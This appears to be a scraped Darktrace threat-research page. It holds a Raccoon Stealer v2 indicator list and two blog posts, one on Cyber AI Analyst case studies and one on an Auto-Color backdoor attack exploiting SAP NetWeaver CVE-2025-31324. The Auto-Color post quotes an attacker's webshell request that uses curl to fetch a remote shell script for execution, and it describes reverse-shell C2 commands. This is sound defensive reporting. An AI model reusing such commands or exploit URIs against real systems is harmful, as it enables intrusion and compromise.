Raccoon Stealer  v2 C2 infrastructure

IP Address

94.131.106[.]116

Raccoon Stealer v2 C2 infrastructure

IP  Address

94.131.106[.]224

Raccoon Stealer  v2 C2 infrastructure

IP Address

94.131.107[.]132

Raccoon Stealer v2 C2 infrastructure

IP  Address

94.131.107[.]138

Raccoon Stealer  v2 C2 infrastructure

IP Address

94.131.96[.]109

Raccoon Stealer v2 C2 infrastructure

IP  Address

94.131.97[.]129

Raccoon Stealer  v2 C2 infrastructure

IP Address

94.131.97[.]53

Raccoon Stealer v2 C2 infrastructure

IP  Address

94.131.97[.]56

Raccoon Stealer  v2 C2 infrastructure

IP Address

94.131.97[.]57

Raccoon Stealer v2 C2 infrastructure

IP  Address

94.131.98[.]5

Raccoon Stealer  v2 C2 infrastructure

IP Address

94.158.244[.]114

Raccoon Stealer v2 C2 infrastructure

IP  Address

94.158.244[.]119

Raccoon Stealer  v2 C2 infrastructure

IP Address

94.158.244[.]21

Raccoon Stealer v2 C2 infrastructure

IP  Address

94.158.247[.]24

Raccoon Stealer  v2 C2 infrastructure

IP Address

94.158.247[.]26

Raccoon Stealer v2 C2 infrastructure

IP  Address

94.158.247[.]30

Raccoon Stealer  v2 C2 infrastructure

IP Address

94.158.247[.]44

Raccoon Stealer v2 C2 infrastructure

IP  Address

95.216.109[.]16

Raccoon Stealer  v2 C2 infrastructure

IP Address

95.217.124[.]179

Raccoon Stealer v2 C2 infrastructure

URI

/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/mozglue.dll

URI used in  download of library file

URI

/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/nss3.dll

URI used in download of library file

URI

/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/freebl3.dll

URI used in  download of library file

URI

/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/softokn3.dll

URI used in download of library file

URI

/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/nssdbm3.dll

URI used in  download of library file

URI

/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/sqlite3.dll

URI used in download of library file

URI

/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/msvcp140.dll

URI used in  download of library file

URI

/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/vcruntime140.dll

URI used in download of library file

URI

/C9S2G1K6I3G8T3X7/56296373798691245143.bin

URI used in  download of follow-up payload

URI

/O6K3E4G6N9S8S1/91787438215733789009.bin

URI used in download of follow-up  payload

URI

/Z2J8J3N2S2Z6X2V3S0B5/45637662345462341.bin

URI used in  download of follow-up payload

URI

/rgd4rgrtrje62iuty/19658963328526236.bin

URI used in download of follow-up  payload

URI

/sd325dt25ddgd523/81852849956384.bin

URI used in  download of follow-up payload

URI

/B0L1N2H4R1N5I5S6/40055385413647326168.bin

URI used in download of follow-up  payload

URI

/F5Q8W3O3O8I2A4A4B8S8/31427748106757922101.bin

URI used in  download of follow-up payload

URI

/36141266339446703039.bin

URI used in download of follow-up  payload

URI

/wH0nP0qH9eJ6aA9zH1mN/1.bin

URI used in  download of follow-up payload

URI

/K2X2R1K4C6Z3G8L0R1H0/68515718711529966786.bin

URI used in download of follow-up  payload

URI

/C3J7N6F6X3P8I0I0M/17819203282122080878.bin

URI used in  download of follow-up payload

URI

/W9H1B8P3F2J2H2K7U1Y7G5N4C0Z4B/18027641.bin

URI used in download of follow-up  payload

URI

/P2T9T1Q6P7Y5J3D2T0N0O8V/73239348388512240560937.bin

URI used in  download of follow-up payload

URI

/W5H6O5P0E4Y6P8O1B9D9G0P9Y9G4/671837571800893555497.bin

URI used in download of follow-up  payload

URI

/U8P2N0T5R0F7G2J0/898040207002934180145349.bin

URI used in  download of follow-up payload

URI

/AXEXNKPSBCKSLMPNOMNRLUEPR/3145102300913020.bin

URI used in download of follow-up  payload

URI

/wK6nO2iM9lE7pN7e/7788926473349244.bin

URI used in  download of follow-up payload

URI

/U4N9B5X5F5K2A0L4L4T5/84897964387342609301.bin

URI used in download of follow-up  payload

Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Sam Lister
SOC Analyst

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August 1, 2025

Darktrace's Cyber AI Analyst in Action: 4 Real-World Investigations into Advanced Threat Actors

Man looking at computer doing work, cybersecurity, AI, AI analystDefault blog imageDefault blog image

From automation to intelligence

There’s a lot of attention around AI in cybersecurity right now, similar to how important automation felt about 15 years ago. But this time, the scale and speed of change feel different.

In the context of cybersecurity investigations, the application of AI can significantly enhance an organization's ability to detect, respond to, and recover from incidents. It enables a more proactive approach to cybersecurity, ensuring a swift and effective response to potential threats.

At Darktrace, we’ve learned that no single AI technique can solve cybersecurity on its own. We employ a multi-layered AI approach, strategically integrating a diverse set of techniques both sequentially and hierarchically. This layered architecture allows us to deliver proactive, adaptive defense tailored to each organization’s unique environment.

Darktrace uses a range of AI techniques to perform in-depth analysis and investigation of anomalies identified by lower-level alerts, in particular automating Levels 1 and 2 of the Security Operations Centre (SOC) team’s workflow. This saves teams time and resources by automating repetitive and time-consuming tasks carried out during investigation workflows. We call this core capability Cyber AI Analyst.

How Darktrace’s Cyber AITM Analyst works

Cyber AI Analyst mimics the way a human carries out a threat investigation: evaluating multiple hypotheses, analyzing logs for involved assets, and correlating findings across multiple domains. It will then generate an alert with full technical details, pulling relevant findings into a single pane of glass to track the entire attack chain.

Learn more about how Cyber AI Analyst accomplishes this here:

This blog will highlight four examples where Darktrace’s agentic AI, Cyber AI Analyst, successfully identified the activity of sophisticated threat actors, including nation state adversaries. The final example will include step-by-step details of the investigations conducted by Cyber AI Analyst.

[related-resource]

Case 1: Cyber AI Analyst vs. ShadowPad Malware: East Asian Advanced Persistent Threat (APT)

In March 2025, Darktrace detailed a lengthy investigation into two separate threads of likely state-linked intrusion activity in a customer network, showcasing Cyber AI Analyst’s ability to identify different activity threads and piece them together.

The first of these threads...

occurred in July 2024 and involved a malicious actor establishing a foothold in the customer’s virtual private network (VPN) environment, likely via the exploitation of an information disclosure vulnerability (CVE-2024-24919) affecting Check Point Security Gateway devices.

Using compromised service account credentials, the actor then moved laterally across the network via RDP and SMB, with files related to the modular backdoor ShadowPad being delivered to targeted internal systems. Targeted systems went on to communicate with a C2 server via both HTTPS connections and DNS tunnelling.

The second thread of activity...

Which occurred several months earlier in October 2024, involved a malicious actor infiltrating the customer's desktop environment via SMB and WMI.

The actor used these compromised desktops to discriminately collect sensitive data from a network share before exfiltrating such data to a web of likely compromised websites.

For each of these threads of activity, Cyber AI Analyst was able to identify and piece together the relevant intrusion steps by hypothesizing, analyzing, and then generating a singular view of the full attack chain.

Cyber AI Analyst identifying and piecing together the various steps of the ShadowPad intrusion activity.
Figure 1: Cyber AI Analyst identifying and piecing together the various steps of the ShadowPad intrusion activity.
Cyber AI Analyst Incident identifying and piecing together the various steps of the data theft activity.
Figure 2: Cyber AI Analyst Incident identifying and piecing together the various steps of the data theft activity.

These Cyber AI Analyst investigations enabled a quicker understanding of the threat actor’s sequence of events and, in some cases, led to faster containment.

Read the full detailed blog on Darktrace’s ShadowPad investigation here!

Case 2: Cyber AI Analyst vs. Blind Eagle: South American APT

Since 2018, APT-C-36, also known as Blind Eagle, has been observed performing cyber-attacks targeting various sectors across multiple countries in Latin America, with a particular focus on Colombia.

In February 2025, Cyber AI Analyst provided strong coverage of a Blind Eagle intrusion targeting a South America-based public transport provider, identifying and correlating various stages of the attack, including tooling.

Cyber AI Analyst investigation linking likely Remcos C2 traffic, a suspicious file download, and eventual data exfiltration.Type image caption here (optional)
Figure 3: Cyber AI Analyst investigation linking likely Remcos C2 traffic, a suspicious file download, and eventual data exfiltration.Type image caption here (optional)
Cyber AI Analyst identifying unusual data uploads to another likely Remcos C2 endpoint and correlated each of the individual detections involved in this compromise, identifying them as part of a broader incident that encompassed C2 connectivity, suspicious downloads, and external data transfers.
Figure 4: Cyber AI Analyst identifying unusual data uploads to another likely Remcos C2 endpoint and correlated each of the individual detections involved in this compromise, identifying them as part of a broader incident that encompassed C2 connectivity, suspicious downloads, and external data transfers.

In this campaign, threat actors have been observed using phishing emails to deliver malicious URL links to targeted recipients, similar to the way threat actors have previously been observed exploiting CVE-2024-43451, a vulnerability in Microsoft Windows that allows the disclosure of a user’s NTLMv2 password hash upon minimal interaction with a malicious file [4].

In late February 2025, Darktrace observed activity assessed with medium confidence to be associated with Blind Eagle on the network of a customer in Colombia. Darktrace observed a device on the customer’s network being directed over HTTP to a rare external IP, namely 62[.]60[.]226[.]112, which had never previously been seen in this customer’s environment and was geolocated in Germany.

Read the full Blind Eagle threat story here!

Case 3: Cyber AI Analyst vs. Ransomware Gang

In mid-March 2025, a malicious actor gained access to a customer’s network through their VPN. Using the credential 'tfsservice', the actor conducted network reconnaissance, before leveraging the Zerologon vulnerability and the Directory Replication Service to obtain credentials for the high-privilege accounts, ‘_svc_generic’ and ‘administrator’.

The actor then abused these account credentials to pivot over RDP to internal servers, such as DCs. Targeted systems showed signs of using various tools, including the remote monitoring and management (RMM) tool AnyDesk, the proxy tool SystemBC, the data compression tool WinRAR, and the data transfer tool WinSCP.

The actor finally collected and exfiltrated several gigabytes of data to the cloud storage services, MEGA, Backblaze, and LimeWire, before returning to attempt ransomware detonation.

Figure 5: Cyber AI Analyst detailing its full investigation, linking 34 related Incident Events in a single pane of glass.

Cyber AI Analyst identified, analyzed, and reported on all corners of this attack, resulting in a threat tray made up of 34 Incident Events into a singular view of the attack chain.

Cyber AI Analyst identified activity associated with the following tactics across the MITRE attack chain:

  • Initial Access
  • Persistence
  • Privilege Escalation
  • Credential Access
  • Discovery
  • Lateral Movement
  • Execution
  • Command and Control
  • Exfiltration

Case 4: Cyber AI Analyst vs Ransomhub

Cyber AI Analyst presenting its full investigation into RansomHub, correlating 38 Incident Events.
Figure 6: Cyber AI Analyst presenting its full investigation into RansomHub, correlating 38 Incident Events.

A malicious actor appeared to have entered the customer’s network their VPN, using a likely attacker-controlled device named 'DESKTOP-QIDRDSI'. The actor then pivoted to other systems via RDP and distributed payloads over SMB.

Some systems targeted by the attacker went on to exfiltrate data to the likely ReliableSite Bare Metal server, 104.194.10[.]170, via HTTP POSTs over port 5000. Others executed RansomHub ransomware, as evidenced by their SMB-based distribution of ransom notes named 'README_b2a830.txt' and their addition of the extension '.b2a830' to the names of files in network shares.

Through its live investigation of this attack, Cyber AI Analyst created and reported on 38 Incident Events that formed part of a single, wider incident, providing a full picture of the threat actor’s behavior and tactics, techniques, and procedures (TTPs). It identified activity associated with the following tactics across the MITRE attack chain:

  • Execution
  • Discovery
  • Lateral Movement
  • Collection
  • Command and Control
  • Exfiltration
  • Impact (i.e., encryption)
Step-by-step details of one of the network scanning investigations performed by Cyber AI Analyst in response to an anomaly alerted by Darktrace.
Figure 7: Step-by-step details of one of the network scanning investigations performed by Cyber AI Analyst in response to an anomaly alerted by Darktrace.
Step-by-step details of one of the administrative connectivity investigations performed by Cyber AI Analyst in response to an anomaly alerted by Darktrace.
Figure 8: Step-by-step details of one of the administrative connectivity investigations performed by Cyber AI Analyst in response to an anomaly alerted by Darktrace.
 Step-by-step details of one of the external data transfer investigations performed by Cyber AI Analyst in response to an anomaly alerted by Darktrace. Step-by-step details of one of the external data transfer investigations performed by Cyber AI Analyst in response to an anomaly alerted by Darktrace.
Figure 9: Step-by-step details of one of the external data transfer investigations performed by Cyber AI Analyst in response to an anomaly alerted by Darktrace.
Step-by-step details of one of the data collection and exfiltration investigations performed by Cyber AI Analyst in response to an anomaly alerted by Darktrace.
Figure 10: Step-by-step details of one of the data collection and exfiltration investigations performed by Cyber AI Analyst in response to an anomaly alerted by Darktrace.
Step-by-step details of one of the ransomware encryption investigations performed by Cyber AI Analyst in response to an anomaly alerted by Darktrace.
Figure 11: Step-by-step details of one of the ransomware encryption investigations performed by Cyber AI Analyst in response to an anomaly alerted by Darktrace.

Conclusion

Security teams are challenged to keep up with a rapidly evolving cyber-threat landscape, now powered by AI in the hands of attackers, alongside the growing scope and complexity of digital infrastructure across the enterprise.

Traditional security methods, even those that use some simple machine learning, are no longer sufficient, as these tools cannot keep pace with all possible attack vectors or respond quickly enough machine-speed attacks, given their complexity compared to known and expected patterns. Security teams require a step up in their detection capabilities, leveraging machine learning to understand the environment, filter out the noise, and take action where threats are identified. This is where Cyber AI Analyst steps in to help.

Credit to Nathaniel Jones (VP, Security & AI Strategy, FCISO), Sam Lister (Security Researcher), Emma Foulger (Global Threat Research Operations Lead), and Ryan Traill (Analyst Content Lead)

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About the author
Nathaniel Jones
VP, Security & AI Strategy, Field CISO

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July 30, 2025

Auto-Color Backdoor: How Darktrace Thwarted a Stealthy Linux Intrusion

Default blog imageDefault blog image

In April 2025, Darktrace identified an Auto-Color backdoor malware attack taking place on the network of a US-based chemicals company.

Over the course of three days, a threat actor gained access to the customer’s network, attempted to download several suspicious files and communicated with malicious infrastructure linked to Auto-Color malware.

After Darktrace successfully blocked the malicious activity and contained the attack, the Darktrace Threat Research team conducted a deeper investigation into the malware.

They discovered that the threat actor had exploited CVE-2025-31324 to deploy Auto-Color as part of a multi-stage attack — the first observed pairing of SAP NetWeaver exploitation with the Auto-Color malware.

Furthermore, Darktrace’s investigation revealed that Auto-Color is now employing suppression tactics to cover its tracks and evade detection when it is unable to complete its kill chain.

What is CVE-2025-31324?

On April 24, 2025, the software provider SAP SE disclosed a critical vulnerability in its SAP Netweaver product, namely CVE-2025-31324. The exploitation of this vulnerability would enable malicious actors to upload files to the SAP Netweaver application server, potentially leading to remote code execution and full system compromise. Despite the urgent disclosure of this CVE, the vulnerability has been exploited on several systems [1]. More information on CVE-2025-31324 can be found in our previous discussion.

What is Auto-Color Backdoor Malware?

The Auto-Color backdoor malware, named after its ability to rename itself to “/var/log/cross/auto-color” after execution, was first observed in the wild in November 2024 and is categorized as a Remote Access Trojan (RAT).

Auto-Colour has primarily been observed targeting universities and government institutions in the US and Asia [2].

What does Auto-Color Backdoor Malware do?

It is known to target Linux systems by exploiting built-in system features like ld.so.preload, making it highly evasive and dangerous, specifically aiming for persistent system compromise through shared object injection.

Each instance uses a unique file and hash, due to its statically compiled and encrypted command-and-control (C2) configuration, which embeds data at creation rather than retrieving it dynamically at runtime. The behavior of the malware varies based on the privilege level of the user executing it and the system configuration it encounters.

How does Auto-Color work?

The malware’s process begins with a privilege check; if the malware is executed without root privileges, it skips the library implant phase and continues with limited functionality, avoiding actions that require system-level access, such as library installation and preload configuration, opting instead to maintain minimal activity while continuing to attempt C2 communication. This demonstrates adaptive behavior and an effort to reduce detection when running in restricted environments.

If run as root, the malware performs a more invasive installation, installing a malicious shared object, namely **libcext.so.2**, masquerading as a legitimate C utility library, a tactic used to blend in with trusted system components. It uses dynamic linker functions like dladdr() to locate the base system library path; if this fails, it defaults to /lib.

Gaining persistence through preload manipulation

To ensure persistence, Auto-Color modifies or creates /etc/ld.so.preload, inserting a reference to the malicious library. This is a powerful Linux persistence technique as libraries listed in this file are loaded before any others when running dynamically linked executables, meaning Auto-Color gains the ability to silently hook and override standard system functions across nearly all applications.

Once complete, the ELF binary copies and renames itself to “**/var/log/cross/auto-color**”, placing the implant in a hidden directory that resembles system logs. It then writes the malicious shared object to the base library path.

A delayed payload activated by outbound communication

To complete its chain, Auto-Color attempts to establish an outbound TLS connection to a hardcoded IP over port 443. This enables the malware to receive commands or payloads from its operator via API requests [2].

Interestingly, Darktrace found that Auto-Color suppresses most of its malicious behavior if this connection fails - an evasion tactic commonly employed by advanced threat actors. This ensures that in air-gapped or sandboxed environments, security analysts may be unable to observe or analyze the malware’s full capabilities.

If the C2 server is unreachable, Auto-Color effectively stalls and refrains from deploying its full malicious functionality, appearing benign to analysts. This behavior prevents reverse engineering efforts from uncovering its payloads, credential harvesting mechanisms, or persistence techniques.

In real-world environments, this means the most dangerous components of the malware only activate when the attacker is ready, remaining dormant during analysis or detonation, and thereby evading detection.

Darktrace’s coverage of the Auto-Color malware

Initial alert to Darktrace’s SOC

On April 28, 2025, Darktrace’s Security Operations Centre (SOC) received an alert for a suspicious ELF file downloaded on an internet-facing device likely running SAP Netweaver. ELF files are executable files specific to Linux, and in this case, the unexpected download of one strongly indicated a compromise, marking the delivery of the Auto-Color malware.

Figure 1: A timeline breaking down the stages of the attack

Early signs of unusual activity detected by Darktrace

While the first signs of unusual activity were detected on April 25, with several incoming connections using URIs containing /developmentserver/metadatauploader, potentially scanning for the CVE-2025-31324 vulnerability, active exploitation did not begin until two days later.

Initial compromise via ZIP file download followed by DNS tunnelling requests

In the early hours of April 27, Darktrace detected an incoming connection from the malicious IP address 91.193.19[.]109[.] 6.

The telltale sign of CVE-2025-31324 exploitation was the presence of the URI ‘/developmentserver/metadatauploader?CONTENTTYPE=MODEL&CLIENT=1’, combined with a ZIP file download.

The device immediately made a DNS request for the Out-of-Band Application Security Testing (OAST) domain aaaaaaaaaaaa[.]d06oojugfd4n58p4tj201hmy54tnq4rak[.]oast[.]me.

OAST is commonly used by threat actors to test for exploitable vulnerabilities, but it can also be leveraged to tunnel data out of a network via DNS requests.

Darktrace’s Autonomous Response capability quickly intervened, enforcing a “pattern of life” on the offending device for 30 minutes. This ensured the device could not deviate from its expected behavior or connections, while still allowing it to carry out normal business operations.

Figure 2: Alerts from the device’s Model Alert Log showing possible DNS tunnelling requests to ‘request bin’ services.
Figure 3: Darktrace’s Autonomous Response enforcing a “pattern of life” on the compromised device following a suspicious tunnelling connection.

Continued malicious activity

The device continued to receive incoming connections with URIs containing ‘/developmentserver/metadatauploader’. In total seven files were downloaded (see filenames in Appendix).

Around 10 hours later, the device made a DNS request for ‘ocr-freespace.oss-cn-beijing.aliyuncs[.]com’.

In the same second, it also received a connection from 23.186.200[.]173 with the URI ‘/irj/helper.jsp?cmd=curl -O hxxps://ocr-freespace.oss-cn-beijing.aliyuncs[.]com/2025/config.sh’, which downloaded a shell script named config.sh.

Execution

This script was executed via the helper.jsp file, which had been downloaded during the initial exploit, a technique also observed in similar SAP Netweaver exploits [4].

Darktrace subsequently observed the device making DNS and SSL connections to the same endpoint, with another inbound connection from 23.186.200[.]173 and the same URI observed again just ten minutes later.

The device then went on to make several connections to 47.97.42[.]177 over port 3232, an endpoint associated with Supershell, a C2 platform linked to backdoors and commonly deployed by China-affiliated threat groups [5].

Less than 12 hours later, and just 24 hours after the initial exploit, the attacker downloaded an ELF file from http://146.70.41.178:4444/logs, which marked the delivery of the Auto-Color malware.

Figure 4: Darktrace’s detection of unusual outbound connections and the subsequent file download from http://146.70.41.178:4444/logs, as identified by Cyber AI Analyst.

A deeper investigation into the attack

Darktrace’s findings indicate that CVE-2025-31324 was leveraged in this instance to launch a second-stage attack, involving the compromise of the internet-facing device and the download of an ELF file representing the Auto-Color malware—an approach that has also been observed in other cases of SAP NetWeaver exploitation [4].

Darktrace identified the activity as highly suspicious, triggering multiple alerts that prompted triage and further investigation by the SOC as part of the Darktrace Managed Detection and Response (MDR) service.

During this investigation, Darktrace analysts opted to extend all previously applied Autonomous Response actions for an additional 24 hours, providing the customer’s security team time to investigate and remediate.

Figure 5: Cyber AI Analyst’s investigation into the unusual connection attempts from the device to the C2 endpoint.

At the host level, the malware began by assessing its privilege level; in this case, it likely detected root access and proceeded without restraint. Following this, the malware began the chain of events to establish and maintain persistence on the device, ultimately culminating an outbound connection attempt to its hardcoded C2 server.

Figure 6: Cyber AI Analyst’s investigation into the unusual connection attempts from the device to the C2 endpoint.

Over a six-hour period, Darktrace detected numerous attempted connections to the endpoint 146.70.41[.]178 over port 443. In response, Darktrace’s Autonomous Response swiftly intervened to block these malicious connections.

Given that Auto-Color relies heavily on C2 connectivity to complete its execution and uses shared object preloading to hijack core functions without modifying existing binaries, the absence of a successful connection to its C2 infrastructure (in this case, 146.70.41[.]178) causes the malware to sleep before trying to reconnect.

While Darktrace’s analysis was limited by the absence of a live C2, prior research into its command structure reveals that Auto-Color supports a modular C2 protocol. This includes reverse shell initiation (0x100), file creation and execution tasks (0x2xx), system proxy configuration (0x300), and global payload manipulation (0x4XX). Additionally, core command IDs such as 0,1, 2, 4, and 0xF cover basic system profiling and even include a kill switch that can trigger self-removal of the malware [2]. This layered command set reinforces the malware’s flexibility and its dependence on live operator control.

Thanks to the timely intervention of Darktrace’s SOC team, who extended the Autonomous Response actions as part of the MDR service, the malicious connections remained blocked. This proactive prevented the malware from escalating, buying the customer’s security team valuable time to address the threat.

Conclusion

Ultimately, this incident highlights the critical importance of addressing high-severity vulnerabilities, as they can rapidly lead to more persistent and damaging threats within an organization’s network. Vulnerabilities like CVE-2025-31324 continue to be exploited by threat actors to gain access to and compromise internet-facing systems. In this instance, the download of Auto-Color malware was just one of many potential malicious actions the threat actor could have initiated.

From initial intrusion to the failed establishment of C2 communication, the Auto-Color malware showed a clear understanding of Linux internals and demonstrated calculated restraint designed to minimize exposure and reduce the risk of detection. However, Darktrace’s ability to detect this anomalous activity, and to respond both autonomously and through its MDR offering, ensured that the threat was contained. This rapid response gave the customer’s internal security team the time needed to investigate and remediate, ultimately preventing the attack from escalating further.

Credit to Harriet Rayner (Cyber Analyst), Owen Finn (Cyber Analyst), Tara Gould (Threat Research Lead) and Ryan Traill (Analyst Content Lead)

Appendices

MITRE ATT&CK Mapping

Malware - RESOURCE DEVELOPMENT - T1588.001

Drive-by Compromise - INITIAL ACCESS - T1189

Data Obfuscation - COMMAND AND CONTROL - T1001

Non-Standard Port - COMMAND AND CONTROL - T1571

Exfiltration Over Unencrypted/Obfuscated Non-C2 Protocol - EXFILTRATION - T1048.003

Masquerading - DEFENSE EVASION - T1036

Application Layer Protocol - COMMAND AND CONTROL - T1071

Unix Shell – EXECUTION - T1059.004

LC_LOAD_DYLIB Addition – PERSISTANCE - T1546.006

Match Legitimate Resource Name or Location – DEFENSE EVASION - T1036.005

Web Protocols – COMMAND AND CONTROL - T1071.001

Indicators of Compromise (IoCs)

Filenames downloaded:

  • exploit.properties
  • helper.jsp
  • 0KIF8.jsp
  • cmd.jsp
  • test.txt
  • uid.jsp
  • vregrewfsf.jsp

Auto-Color sample:

  • 270fc72074c697ba5921f7b61a6128b968ca6ccbf8906645e796cfc3072d4c43 (sha256)

IP Addresses

  • 146[.]70[.]19[.]122
  • 149[.]78[.]184[.]215
  • 196[.]251[.]85[.]31
  • 120[.]231[.]21[.]8
  • 148[.]135[.]80[.]109
  • 45[.]32[.]126[.]94
  • 110[.]42[.]42[.]64
  • 119[.]187[.]23[.]132
  • 18[.]166[.]61[.]47
  • 183[.]2[.]62[.]199
  • 188[.]166[.]87[.]88
  • 31[.]222[.]254[.]27
  • 91[.]193[.]19[.]109
  • 123[.]146[.]1[.]140
  • 139[.]59[.]143[.]102
  • 155[.]94[.]199[.]59
  • 165[.]227[.]173[.]41
  • 193[.]149[.]129[.]31
  • 202[.]189[.]7[.]77
  • 209[.]38[.]208[.]202
  • 31[.]222[.]254[.]45
  • 58[.]19[.]11[.]97
  • 64[.]227[.]32[.]66

Darktrace Model Detections

Compromise / Possible Tunnelling to Bin Services

Anomalous Server Activity / New User Agent from Internet Facing System

Anomalous File / Incoming ELF File

Anomalous Connection / Application Protocol on Uncommon Port

Anomalous Connection / New User Agent to IP Without Hostname

Experimental / Mismatched MIME Type From Rare Endpoint V4

Compromise / High Volume of Connections with Beacon Score

Device / Initial Attack Chain Activity

Device / Internet Facing Device with High Priority Alert

Compromise / Large Number of Suspicious Failed Connections

Model Alerts for CVE

Compromise / Possible Tunnelling to Bin Services

Compromise / High Priority Tunnelling to Bin Services

Autonomous Response Model Alerts

Antigena / Network::External Threat::Antigena Suspicious File Block

Antigena / Network::External Threat::Antigena File then New Outbound Block

Antigena / Network::Significant Anomaly::Antigena Controlled and Model Alert

Experimental / Antigena File then New Outbound Block

Antigena / Network::External Threat::Antigena Suspicious Activity Block

Antigena / Network::Significant Anomaly::Antigena Alerts Over Time Block

Antigena / Network::Significant Anomaly::Antigena Enhanced Monitoring from Client Block

Antigena / Network::Significant Anomaly::Antigena Enhanced Monitoring from Client Block

Antigena / Network::Significant Anomaly::Antigena Alerts Over Time Block

Antigena / MDR::Model Alert on MDR-Actioned Device

Antigena / Network::Significant Anomaly::Antigena Enhanced Monitoring from Client Block

References

1. [Online] https://onapsis.com/blog/active-exploitation-of-sap-vulnerability-cve-2025-31324/.

2. https://unit42.paloaltonetworks.com/new-linux-backdoor-auto-color/. [Online]

3. [Online] (https://www.darktrace.com/blog/tracking-cve-2025-31324-darktraces-detection-of-sap-netweaver-exploitation-before-and-after-disclosure#:~:text=June%2016%2C%202025-,Tracking%20CVE%2D2025%2D31324%3A%20Darktrace's%20detection%20of%20SAP%20Netweaver,guidance%.

4. [Online] https://unit42.paloaltonetworks.com/threat-brief-sap-netweaver-cve-2025-31324/.

5. [Online] https://www.forescout.com/blog/threat-analysis-sap-vulnerability-exploited-in-the-wild-by-chinese-threat-actor/.

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About the author
Harriet Rayner
Cyber Analyst
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